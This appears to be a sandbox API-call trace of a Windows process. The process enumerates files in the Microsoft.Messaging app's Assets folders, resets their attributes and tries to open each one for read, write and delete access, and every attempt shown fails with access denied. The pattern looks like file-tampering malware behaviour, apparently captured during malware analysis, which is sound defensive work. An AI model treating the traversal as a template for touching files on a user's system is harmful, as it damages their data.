	[0090.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c6c0
	[0090.710] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.710] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.710] wcscat (in: _Dest=0x491c6c0, _Source="BadgeLogo2.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png"
	[0090.710] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-16.png")) returned 0x20
	[0090.713] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.713] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.713] GetLastError () returned 0x5
	[0090.714] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0090.714] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28982e9c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28982e9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28982e9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo2.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.714] wcscmp (_String1="BadgeLogo2.targetsize-24.png", _String2=".") returned 1
	[0090.714] wcscmp (_String1="BadgeLogo2.targetsize-24.png", _String2="..") returned 1
	[0090.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b458
	[0090.714] wcscpy (in: _Dest=0x491b458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.714] wcscat (in: _Dest=0x491b458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.714] wcscat (in: _Dest=0x491b458, _Source="BadgeLogo2.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png"
	[0090.714] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-24.png")) returned 0x20
	[0090.714] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.714] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.714] GetLastError () returned 0x5
	[0090.714] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.714] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b458) returned 1
	[0090.714] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28982e9c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28982e9c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28982e9c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo2.targetsize-36.png", cAlternateFileName="")) returned 1
	[0090.714] wcscmp (_String1="BadgeLogo2.targetsize-36.png", _String2=".") returned 1
	[0090.714] wcscmp (_String1="BadgeLogo2.targetsize-36.png", _String2="..") returned 1
	[0090.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b550
	[0090.714] wcscpy (in: _Dest=0x491b550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.715] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.715] wcscat (in: _Dest=0x491b550, _Source="BadgeLogo2.targetsize-36.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png"
	[0090.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-36.png")) returned 0x20
	[0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.715] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-36.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.715] GetLastError () returned 0x5
	[0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0090.715] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289a90fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BadgeLogo2.targetsize-54.png", cAlternateFileName="")) returned 1
	[0090.715] wcscmp (_String1="BadgeLogo2.targetsize-54.png", _String2=".") returned 1
	[0090.715] wcscmp (_String1="BadgeLogo2.targetsize-54.png", _String2="..") returned 1
	[0090.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491be08
	[0090.715] wcscpy (in: _Dest=0x491be08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.715] wcscat (in: _Dest=0x491be08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.715] wcscat (in: _Dest=0x491be08, _Source="BadgeLogo2.targetsize-54.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png"
	[0090.715] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-54.png")) returned 0x20
	[0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png", dwFileAttributes=0x20) returned 0
	[0090.716] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\badgelogo2.targetsize-54.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.716] GetLastError () returned 0x5
	[0090.716] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\BadgeLogo2.targetsize-54.png", dwFileAttributes=0x20) returned 0
	[0090.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491be08) returned 1
	[0090.716] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb2233c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0090.716] wcscmp (_String1="Fonts", _String2=".") returned 1
	[0090.716] wcscmp (_String1="Fonts", _String2="..") returned 1
	[0090.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0090.716] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.716] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.716] wcscat (in: _Dest=0x4926008, _Source="Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4925ce8
	[0090.716] wcscpy (in: _Dest=0x4925ce8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.716] wcscat (in: _Dest=0x4925ce8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\"
	[0090.716] wcscat (in: _Dest=0x4925ce8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*"
	[0090.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb2233c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.716] wcscmp (_String1=".", _String2=".") returned 0
	[0090.716] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb2233c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.716] wcscmp (_String1="..", _String2=".") returned 1
	[0090.717] wcscmp (_String1="..", _String2="..") returned 0
	[0090.717] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289a90fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3488, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsgMDL2.ttf", cAlternateFileName="")) returned 1
	[0090.717] wcscmp (_String1="MsgMDL2.ttf", _String2=".") returned 1
	[0090.717] wcscmp (_String1="MsgMDL2.ttf", _String2="..") returned 1
	[0090.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477e110
	[0090.717] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts"
	[0090.717] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\"
	[0090.717] wcscat (in: _Dest=0x477e110, _Source="MsgMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf"
	[0090.717] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\fonts\\msgmdl2.ttf")) returned 0x20
	[0090.717] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.717] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\fonts\\msgmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.717] GetLastError () returned 0x5
	[0090.717] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Fonts\\MsgMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e110) returned 1
	[0090.717] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289a90fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289a90fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3488, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsgMDL2.ttf", cAlternateFileName="")) returned 0
	[0090.717] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925ce8) returned 1
	[0090.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0090.717] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a1b80a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a1b80a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3967, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreyBox.png", cAlternateFileName="")) returned 1
	[0090.718] wcscmp (_String1="GreyBox.png", _String2=".") returned 1
	[0090.718] wcscmp (_String1="GreyBox.png", _String2="..") returned 1
	[0090.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718d10
	[0090.718] wcscpy (in: _Dest=0x4718d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.718] wcscat (in: _Dest=0x4718d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.718] wcscat (in: _Dest=0x4718d10, _Source="GreyBox.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png"
	[0090.718] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\greybox.png")) returned 0x20
	[0090.720] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png", dwFileAttributes=0x20) returned 0
	[0090.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\greybox.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.720] GetLastError () returned 0x5
	[0090.720] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\GreyBox.png", dwFileAttributes=0x20) returned 0
	[0090.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718d10) returned 1
	[0090.720] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a1b80a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a41a64, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a41a64, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x700, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0090.720] wcscmp (_String1="Logo.scale-200.png", _String2=".") returned 1
	[0090.721] wcscmp (_String1="Logo.scale-200.png", _String2="..") returned 1
	[0090.721] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477df50
	[0090.721] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.721] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.721] wcscat (in: _Dest=0x477df50, _Source="Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png"
	[0090.721] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\logo.scale-200.png")) returned 0x20
	[0090.723] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png", dwFileAttributes=0x20) returned 0
